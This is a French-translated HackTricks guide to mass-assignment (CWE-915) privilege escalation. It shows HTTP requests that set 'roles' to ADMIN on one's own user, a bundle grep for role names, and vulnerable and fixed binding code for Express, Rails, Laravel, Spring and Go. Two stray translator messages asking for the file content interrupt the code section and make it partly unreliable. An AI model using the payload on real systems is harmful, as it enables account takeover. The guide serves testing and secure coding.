Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Mass assignment (a.k.a. insecure object binding) se produit lorsqu'un API/controller prend du JSON fourni par l'utilisateur et le lie directement à un modèle/entité côté serveur sans une allow-list explicite des champs. Si des propriétés privilégiées comme roles, isAdmin, status, ou des champs d'ownership sont bindables, n'importe quel utilisateur authentifié peut escalader ses privilèges ou altérer un état protégé.
This is a Broken Access Control issue (OWASP A01:2021) qui permet souvent une vertical privilege escalation en mettant roles=ADMIN ou similaire. Cela affecte couramment les frameworks qui supportent le binding automatique des corps de requête aux data models (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, etc.).
1) Finding Mass Assignment
Cherchez des endpoints self-service qui mettent à jour votre propre profil ou des ressources similaires :
- PUT/PATCH /api/users/{id}
- PATCH /me, PUT /profile
- PUT /api/orders/{id}
Heuristiques indiquant mass assignment :
- La réponse renvoie des champs gérés par le serveur (par ex., roles, status, isAdmin, permissions) même lorsque vous ne les avez pas envoyés.
- Les bundles client contiennent des role names/IDs ou d'autres privileged attribute names utilisés dans toute l'application (admin, staff, moderator, internal flags), suggérant un schéma bindable.
- Les serializers du backend acceptent des champs inconnus sans les rejeter.
Flux de test rapide :
- Perform a normal update with only safe fields and observe the full JSON response structure (this leaks the schema).
- Repeat the update including a crafted privileged field in the body. If the response persists the change, you likely have mass assignment.
Example baseline update revealing schema:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}
La réponse indique des champs privilégiés :
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}
2) Exploitation – Role Escalation via Mass Assignment
Une fois que vous connaissez la bindable shape, incluez la privileged property dans la même requête.
Exemple : définir roles sur ADMIN sur votre propre user resource :
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}
Si la modification de rôle persiste dans la réponse, ré-authentifiez-vous ou rafraîchissez les tokens/claims afin que l'app émette une admin-context session et affiche l'UI/endpoints privilégiés.
Remarques
- Les identifiants et la structure des rôles sont fréquemment énumérés depuis le client JS bundle ou les API docs. Recherchez des chaînes comme "roles", "ADMIN", "STAFF", ou des IDs numériques de rôle.
- Si les tokens contiennent des claims (p.ex., JWT roles), un logout/login ou un token refresh est généralement requis pour que les nouveaux privilèges prennent effet.
3) Client Bundle Recon pour le schéma et les Role IDs
- Inspectez les minified JS bundles pour des role strings et model names ; les source maps peuvent révéler des DTO shapes.
- Cherchez des arrays/maps de roles, permissions, ou feature flags. Construisez des payloads correspondant exactement aux property names et à leur nesting.
- Indicateurs typiques : role name constants, dropdown option lists, validation schemas.
Greps utiles sur un bundle téléchargé:
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u
4) Pièges des frameworks et modèles sécurisés
La vulnérabilité survient lorsque les frameworks lient req.body directement à des entités persistantes. Ci-dessous figurent des erreurs courantes et des patterns minimaux et sécurisés.
Node.js (Express + Mongoose)
Vulnérable:
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});
Je n'ai pas reçu le contenu du fichier à traduire. Peux-tu coller ici le contenu de src/pentesting-web/mass-assignment-cwe-915.md (ou indiquer la section à traduire) ?
Rappel : je conserverai exactement la même syntaxe Markdown/HTML, les liens, chemins et balises, et je n'en traduirai pas le code ni les noms techniques.
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.
Ruby on Rails
Vulnérable (pas de strong parameters):
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end
Correction (strong params + aucun champ privilégié):
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end
Laravel (Eloquent)
Vulnérable:
protected $guarded = []; // Everything mass-assignable (bad)
Je n’ai pas reçu le contenu du fichier. Veuillez coller ici le contenu de src/pentesting-web/mass-assignment-cwe-915.md que vous souhaitez traduire en français.
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin
Spring Boot (Jackson)
Modèle vulnérable:
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }
Correction : Mapper vers un DTO ne contenant que les champs autorisés et appliquer l'autorisation :
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
Ensuite, copiez les champs autorisés du DTO vers l'entité côté serveur, et gérez les changements de rôle uniquement dans des handlers réservés aux admins après les vérifications RBAC. Utilisez @JsonIgnore sur les champs privilégiés si nécessaire et rejetez les propriétés inconnues.
Go (encoding/json)
- Assurez-vous que les champs privilégiés utilisent json:"-" et validez via un struct DTO qui n'inclut que les champs autorisés.
- Envisagez decoder.DisallowUnknownFields() et une validation post-bind des invariants (les rôles ne peuvent pas changer dans les routes self-service).
Références
- FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)
- OWASP Top 10 – Broken Access Control
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks